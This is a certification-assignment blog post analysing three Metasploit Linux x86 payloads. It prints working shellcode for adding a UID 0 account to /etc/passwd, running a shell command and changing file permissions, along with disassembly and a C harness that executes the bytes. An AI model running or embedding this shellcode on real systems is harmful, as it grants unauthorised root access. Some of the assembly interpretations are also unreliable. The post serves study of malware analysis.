SLAE- Assignment #5- Analyze MSFPayload Shell Code
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
SLAE #1488
Handle: t0b0rx0r
Github: n/a
In this assignment I was tasked with analyzing the output of 3 self selected payloads from msfpayload. As MSFPayload is deprecated I completed the example using MSFVenom.
To begin I first had to manually install metasploit onto my (old) copy of Ubuntu. Thank you to the link below to making this easy.
https://computingforgeeks.com/how-to-install-metasploit-framework-on-ubuntu-18-04-debian-9/
Next I opted to display all available payloads and selected 3 for this assignment.
I selected the following
- AddUser
- Exec
- BindShell
msfvenom -p linux/x86/adduser -f c
t0b0rx0r@slae-VirtualBox:~/metasploit$ msfvenom -l payloads | grep linux
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection
linux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established connection
linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection
linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86)
linux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
linux/zarch/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
Review #1- AddUser
- I first began by generating an instance of this payload utilizing C style code
t0b0rx0r@slae-VirtualBox:~/metasploit$ msfvenom -p linux/x86/adduser -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";
Then I used Ndisasm to review the assembly of the code
echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E828000000 call dword 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80
I also used gdb to perform a live review of the application in a C wrapper.
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80";
//msfvenom -p linux/x86/adduser -f c
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Walking through the above I noticed that system call 70 is being called first which is the SetReuID that set real and/or effective user or group ID.
ecx=0
ebx=0
push 0x46 (70 in decimal) and pop it to EAX
int setreuid(uid_t ruid, uid_t euid);
Next appears to be a call to the Open system call to the /etc/passwd file.
eax=5
ecx=0
push 0
0x64777373 , 0x61702f2f , 0x6374652f -> dwssap//cte/ -> /etc/passwd
ebx= ESP
ecx=4
int open(const char *pathname, int flags, mode_t mode);
The next group segment of code appeared to be validation.
Insd Input string from port/Input doubleword string from port
gs this code is used to validate that the stack hasn't exploded or been corupted, using a canary value stored at GS+0x14
I proceeded to review the next segment of code I realized that certain information was not readily apparent, i.e. the username and password being set. Rolling with it, i set a break point at the next interrupt and started reviewing the registers to finally find the credential information.
The next code segment appeared to be a write of the etc file.
eax=4
The final code segment had an exit of the application
eax=1
Review #2- Exec
Before diving deep into this exercise I first reviewed the options that were present on this MsfVenom command.
Performing a similar process as the first application exported
- Generate code via MsfVenom
- Generated Ndisasm file using output from MSFVenom
- Ran code from within gdb
msfvenom -p linux/x86/exec cmd='uname -a' -f c > msfvenom_exec.txt
echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x09\x00\x00\x00\x75\x6e\x61\x6d\x65\x20\x2d\x61\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -u - > msfvenom_exec_ndisasm.txt
gcc -fno-stack-protector -z execstack shellcode_assignment5-exec.c -o shellcode_assignment5-exec
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E809000000 call dword 0x26
0000001D 756E jnz 0x8d
0000001F 61 popad
00000020 6D insd
00000021 65202D61005753 and [dword gs:0x53570061],ch
00000028 89E1 mov ecx,esp
0000002A CD80 int 0x80
Reviewing the the entire code I realized that this payload was a reference to the systemcall execve
int execve(const char *filename, char *const argv[], char *const envp[]);
argv is an array of argument strings passed to the new program.
By convention, the first of these strings should contain the file‐
name associated with the file being executed
envp is an array of
strings, conventionally of the form key=value, which are passed as
environment to the new program
Through some analysis I pieced the code back together with the following detail
From within GDB on top of the stack a little endian version of /bin/sh -c is being formed
nib/hs/c-
As I was reviewing the code I also stumbled on the jump call pop technique described in the SLAE material. Specifically it seems as though the structure is being used to capture the pointer address to a string being built out of hex. While the equivalent asm means nothing a direct conversion of the hex creates the command passed to CMD which was “uname -a”
The next block of code leverages a POPAD to move items to registers.
POPAD from the stack into the general-purpose registers. The registers are loaded in the following order: EDI, ESI, EBP, EBX, EDX, ECX, and EAX
Review #3- CHMOD
In this review, I examined the msfvenom out of chmod
First I reviewed the available options that msfvenom provides for this payload.
msfvenom -p linux/x86/chmod FILE=testfile -f c
"\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x74\x65\x73\x74\x66"
"\x69\x6c\x65\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01"
"\x58\xcd\x80";
I then converted this output with Ndisasm
t0b0rx0r@slae-VirtualBox:~/SLAE/aaron/assignment5$ echo -ne "\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x74\x65\x73\x74\x66\x69\x6c\x65\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E809000000 call dword 0x13
0000000A 7465 jz 0x71
0000000C 7374 jnc 0x82
0000000E 66696C65005B68 imul bp,[ebp+0x0],word 0x685b
00000015 B601 mov dh,0x1
00000017 0000 add [eax],al
00000019 59 pop ecx
0000001A CD80 int 0x80
0000001C 6A01 push byte +0x1
0000001E 58 pop eax
0000001F CD80 int 0x80
Beginning at the top I identified syscall 15 (chmod)
Per the man page the following format is identified chmod [OPTION]… MODE[,MODE]… FILE…
Next I loaded the file into GDB
After examining the next few commands I identified what appears to be the CALL-JMP-POP format of instructions which suggests that the opcode would be interupted as HEX versus assembly. In this case the name of the test file that I provided
Finally I identified the octal version of 0666